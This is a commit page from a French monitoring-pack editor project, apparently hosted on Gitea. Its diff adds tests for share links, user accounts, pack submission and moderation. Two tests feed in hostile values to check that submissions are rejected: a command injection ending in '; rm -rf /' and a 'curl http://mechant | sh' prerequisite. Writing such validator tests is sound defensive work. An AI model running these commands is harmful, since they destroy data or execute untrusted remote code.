Partage par lien, comptes Authentik, soumission et moderation de packs, prerequis des sondes ; corrige le lien casse vers le script de l'editeur
build / Garde-fou (pull_request) Failing after 7s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (pull_request) Skipped
build / Images Harbor (web, Dockerfile) (pull_request) Skipped
build / Garde-fou (push) Failing after 8s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (push) Skipped
build / Images Harbor (web, Dockerfile) (push) Skipped
build / Garde-fou (pull_request) Failing after 7s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (pull_request) Skipped
build / Images Harbor (web, Dockerfile) (pull_request) Skipped
build / Garde-fou (push) Failing after 8s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (push) Skipped
build / Images Harbor (web, Dockerfile) (push) Skipped
This commit is contained in:
1 parent
3f0046c208
commit
b063d59525
34 files changed
+2216
-26
No files matched your search
@@ -36,6 +36,13 @@ def test_prefixe_applique_aux_references():
|
||||
assert liaison.count("ACME-") == 2
|
||||
|
||||
|
||||
def test_version_historique_convertie():
|
||||
"""Un projet enregistre avec l'ancienne notation reste lisible."""
|
||||
projet = Project.from_dict({"centreon_version": "24.x"})
|
||||
assert projet.centreon_version == "24.10"
|
||||
assert Project.from_dict({}).centreon_version == "25.10"
|
||||
|
||||
|
||||
def test_macros_trois_champs_sur_ancienne_version():
|
||||
projet = projet_exemple()
|
||||
projet.centreon_version = "legacy"
|
||||
@@ -91,3 +98,26 @@ def test_repli_sur_le_catalogue_de_l_image(tmp_path, monkeypatch):
|
||||
donnees = reponse.get_json()
|
||||
assert donnees["packs"] >= 20
|
||||
assert donnees["source_catalogue"] == "catalog"
|
||||
|
||||
|
||||
def test_toutes_les_ressources_de_la_page_existent():
|
||||
"""Un lien casse vers le script rend l'interface muette sans aucune erreur serveur."""
|
||||
import re
|
||||
|
||||
client = create_app().test_client()
|
||||
html = client.get("/").data.decode()
|
||||
refs = re.findall(r'(?:src|href)="(/static/[^"]+)"', html)
|
||||
assert refs, "la page ne reference aucune ressource statique"
|
||||
for ref in refs:
|
||||
assert client.get(ref).status_code == 200, f"ressource introuvable : {ref}"
|
||||
|
||||
|
||||
def test_le_script_expose_les_gestionnaires_attendus():
|
||||
"""Les identifiants du gabarit et ceux du script doivent correspondre."""
|
||||
import re
|
||||
|
||||
client = create_app().test_client()
|
||||
html = client.get("/").data.decode()
|
||||
script = client.get("/static/editeur.js").data.decode()
|
||||
for identifiant in re.findall(r'id="(btn-[^"]+|projet-[^"]+)"', html):
|
||||
assert identifiant in script, f"aucun gestionnaire pour {identifiant}"
|
||||
@@ -0,0 +1,279 @@
|
||||
"""Tests des fonctionnalites serveur : partage, projets, soumissions, moderation.
|
||||
|
||||
La base est un SQLite temporaire ; PostgreSQL n'apporte rien de plus a verifier
|
||||
ici, et la CI reste sans service externe.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import importlib
|
||||
import json
|
||||
|
||||
import pytest
|
||||
|
||||
PACK_VALIDE = """
|
||||
id: app-rabbitmq
|
||||
name: RabbitMQ
|
||||
category: application
|
||||
status: to-verify
|
||||
plugin: centreon_rabbitmq_restapi.pl
|
||||
description: Supervision d'un broker RabbitMQ via son API de management.
|
||||
host_template:
|
||||
name: App-RabbitMQ-custom
|
||||
alias: Applicatif RabbitMQ
|
||||
parents: [generic-active-host-custom]
|
||||
macros:
|
||||
- {name: RABBITPORT, value: "15672", description: "Port de l'API"}
|
||||
services:
|
||||
- name: Queues
|
||||
alias: Queues
|
||||
description: Messages en attente
|
||||
line: "$CENTREONPLUGINS$/centreon_rabbitmq_restapi.pl --plugin=apps::rabbitmq::restapi::plugin --mode=queues --hostname=$HOSTADDRESS$"
|
||||
macros:
|
||||
- {name: WARNING, value: "1000", description: "Seuil warning"}
|
||||
"""
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def app(tmp_path, monkeypatch):
|
||||
monkeypatch.setenv("ENCLUME_DATABASE_URL", f"sqlite:///{tmp_path/'essai.db'}")
|
||||
monkeypatch.setenv("ENCLUME_CATALOG", "catalog")
|
||||
monkeypatch.setenv("ENCLUME_SECRET_KEY", "cle-de-test")
|
||||
monkeypatch.setenv("ENCLUME_COOKIE_SECURE", "0")
|
||||
|
||||
import enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp
|
||||
|
||||
for module in (enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp):
|
||||
importlib.reload(module)
|
||||
|
||||
application = enclume.webapp.create_app()
|
||||
with application.app_context():
|
||||
enclume.db.db.create_all()
|
||||
return application
|
||||
|
||||
|
||||
def _connecter(app, client, administrateur=False):
|
||||
"""Cree un compte et ouvre une session, sans passer par le fournisseur OIDC."""
|
||||
from enclume.db import Utilisateur, db
|
||||
|
||||
with app.app_context():
|
||||
utilisateur = Utilisateur(
|
||||
sujet="sujet-de-test", email="[email protected]", nom="Testeur",
|
||||
administrateur=administrateur,
|
||||
)
|
||||
db.session.add(utilisateur)
|
||||
db.session.commit()
|
||||
identifiant = utilisateur.id
|
||||
with client.session_transaction() as session:
|
||||
session["utilisateur_id"] = identifiant
|
||||
return identifiant
|
||||
|
||||
|
||||
# --------------------------------------------------------------- chantier 3
|
||||
|
||||
def test_partage_cree_et_relu(app):
|
||||
client = app.test_client()
|
||||
projet = {"name": "Projet partage", "commands": [{"name": "X", "line": "$USER1$/check_ping"}]}
|
||||
reponse = client.post("/api/partages", json={"project": projet})
|
||||
assert reponse.status_code == 200
|
||||
identifiant = reponse.get_json()["id"]
|
||||
|
||||
relu = client.get(f"/api/partages/{identifiant}")
|
||||
assert relu.status_code == 200
|
||||
assert relu.get_json()["project"]["name"] == "Projet partage"
|
||||
|
||||
|
||||
def test_partage_vide_les_mots_de_passe(app):
|
||||
client = app.test_client()
|
||||
projet = {
|
||||
"name": "Avec secret",
|
||||
"host_templates": [
|
||||
{"name": "H", "macros": [{"name": "PASSWORD", "value": "secret", "is_password": True}]}
|
||||
],
|
||||
}
|
||||
identifiant = client.post("/api/partages", json={"project": projet}).get_json()["id"]
|
||||
relu = client.get(f"/api/partages/{identifiant}").get_json()
|
||||
assert relu["project"]["host_templates"][0]["macros"][0]["value"] == ""
|
||||
|
||||
|
||||
def test_partage_inconnu(app):
|
||||
assert app.test_client().get("/api/partages/inexistant").status_code == 404
|
||||
|
||||
|
||||
def test_projets_enregistres_cycle_complet(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
|
||||
cree = client.post("/api/projets", json={"project": {"name": "Mon projet"}})
|
||||
assert cree.status_code == 200
|
||||
identifiant = cree.get_json()["id"]
|
||||
|
||||
assert len(client.get("/api/projets").get_json()) == 1
|
||||
assert client.get(f"/api/projets/{identifiant}").get_json()["project"]["name"] == "Mon projet"
|
||||
assert client.delete(f"/api/projets/{identifiant}").status_code == 200
|
||||
assert client.get("/api/projets").get_json() == []
|
||||
|
||||
|
||||
def test_projets_refuses_sans_connexion(app):
|
||||
assert app.test_client().get("/api/projets").status_code == 401
|
||||
|
||||
|
||||
def test_un_compte_ne_voit_pas_les_projets_d_un_autre(app):
|
||||
from enclume.db import Projet, Utilisateur, db
|
||||
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
with app.app_context():
|
||||
autre = Utilisateur(sujet="autre")
|
||||
db.session.add(autre)
|
||||
db.session.commit()
|
||||
projet = Projet(utilisateur_id=autre.id, nom="Prive", contenu="{}")
|
||||
db.session.add(projet)
|
||||
db.session.commit()
|
||||
identifiant = projet.id
|
||||
|
||||
assert client.get(f"/api/projets/{identifiant}").status_code == 404
|
||||
assert client.delete(f"/api/projets/{identifiant}").status_code == 404
|
||||
|
||||
|
||||
# --------------------------------------------------------------- chantier 5
|
||||
|
||||
def test_soumission_valide_puis_enregistree(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
|
||||
verification = client.post("/api/soumissions/verifier", json={"yaml": PACK_VALIDE})
|
||||
assert verification.get_json()["valide"] is True
|
||||
|
||||
envoi = client.post("/api/soumissions", json={"yaml": PACK_VALIDE, "message": "premier pack"})
|
||||
assert envoi.status_code == 200
|
||||
assert envoi.get_json()["statut"] == "en_attente"
|
||||
assert len(client.get("/api/soumissions").get_json()) == 1
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"modification, attendu",
|
||||
[
|
||||
("id: Mauvais Identifiant", "identifiant"),
|
||||
("category: inconnue", "Categorie"),
|
||||
],
|
||||
)
|
||||
def test_soumission_refusee_sur_pack_invalide(app, modification, attendu):
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
cle = modification.split(":")[0]
|
||||
yaml_casse = "\n".join(
|
||||
modification if ligne.startswith(f"{cle}:") else ligne for ligne in PACK_VALIDE.splitlines()
|
||||
)
|
||||
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
||||
assert reponse.status_code == 400
|
||||
assert any(attendu.lower() in p.lower() for p in reponse.get_json()["problemes"])
|
||||
|
||||
|
||||
def test_soumission_refuse_une_commande_avec_point_virgule(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
yaml_casse = PACK_VALIDE.replace("--mode=queues", "--mode=queues; rm -rf /")
|
||||
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
||||
assert reponse.status_code == 400
|
||||
|
||||
|
||||
def test_soumission_refuse_un_prerequis_douteux(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client)
|
||||
yaml_casse = PACK_VALIDE + """
|
||||
prerequis:
|
||||
paquets:
|
||||
debian: ["curl http://mechant | sh"]
|
||||
"""
|
||||
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
|
||||
assert reponse.status_code == 400
|
||||
|
||||
|
||||
def test_moderation_reservee_aux_administrateurs(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client, administrateur=False)
|
||||
assert client.get("/api/moderation/soumissions").status_code == 403
|
||||
|
||||
|
||||
def test_moderation_refus_avec_motif(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client, administrateur=True)
|
||||
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
||||
|
||||
en_attente = client.get("/api/moderation/soumissions").get_json()
|
||||
assert len(en_attente) == 1
|
||||
assert "auteur" in en_attente[0]
|
||||
|
||||
refus = client.post(
|
||||
f"/api/moderation/soumissions/{identifiant}/refuser", json={"motif": "doublon"}
|
||||
)
|
||||
assert refus.get_json()["statut"] == "refusee"
|
||||
assert refus.get_json()["reponse"] == "doublon"
|
||||
assert client.post(f"/api/moderation/soumissions/{identifiant}/refuser", json={}).status_code == 409
|
||||
|
||||
|
||||
def test_publication_sans_gitea_configure(app):
|
||||
client = app.test_client()
|
||||
_connecter(app, client, administrateur=True)
|
||||
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
||||
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
|
||||
assert reponse.status_code == 503
|
||||
|
||||
|
||||
def test_publication_ouvre_une_demande_de_fusion(app, monkeypatch):
|
||||
"""La publication appelle Gitea ; on verifie les appels, sans reseau."""
|
||||
import enclume.gitea as gitea
|
||||
import enclume.routes_donnees as routes
|
||||
|
||||
appels = []
|
||||
|
||||
def faux_appel(methode, chemin, corps=None):
|
||||
appels.append((methode, chemin, corps))
|
||||
if chemin.endswith("/pulls"):
|
||||
return {"html_url": "https://gitea.example/Tips-Of-Mine/Enclume/pulls/7"}
|
||||
return {}
|
||||
|
||||
monkeypatch.setattr(gitea, "_appel", faux_appel)
|
||||
monkeypatch.setattr(gitea.Config, "GITEA_URL", "https://gitea.example")
|
||||
monkeypatch.setattr(gitea.Config, "GITEA_TOKEN", "jeton")
|
||||
monkeypatch.setattr(gitea.Config, "GITEA_PROPRIETAIRE", "Tips-Of-Mine")
|
||||
monkeypatch.setattr(gitea.Config, "GITEA_DEPOT", "Enclume")
|
||||
monkeypatch.setattr(routes.Config, "gitea_actif", classmethod(lambda cls: True))
|
||||
|
||||
client = app.test_client()
|
||||
_connecter(app, client, administrateur=True)
|
||||
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
|
||||
|
||||
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
|
||||
assert reponse.status_code == 200
|
||||
resultat = reponse.get_json()
|
||||
assert resultat["statut"] == "publiee"
|
||||
assert resultat["url_pr"].endswith("/pulls/7")
|
||||
|
||||
creation, demande = appels
|
||||
assert creation[1].endswith("catalog/application/app-rabbitmq.yml")
|
||||
assert creation[2]["new_branch"].startswith("pack/app-rabbitmq-")
|
||||
assert demande[2]["head"] == creation[2]["new_branch"]
|
||||
assert demande[2]["base"] == "main"
|
||||
|
||||
|
||||
# ------------------------------------------------------------ etat du site
|
||||
|
||||
def test_les_fonctions_sont_annoncees(app):
|
||||
fonctions = app.test_client().get("/sante").get_json()["fonctions"]
|
||||
assert fonctions["partage"] is True # base presente
|
||||
assert fonctions["comptes"] is False # OIDC absent en test
|
||||
assert fonctions["publication_gitea"] is False
|
||||
|
||||
|
||||
def test_page_de_partage_sert_l_editeur(app):
|
||||
reponse = app.test_client().get("/p/quelconque")
|
||||
assert reponse.status_code == 200
|
||||
assert b"donnees-contexte" in reponse.data
|
||||
|
||||
|
||||
def test_moderation_demande_la_connexion(app):
|
||||
page = app.test_client().get("/moderation")
|
||||
assert page.status_code == 200
|
||||
assert "Connexion requise".encode() in page.data
|
||||
Reference in new issue
Block a user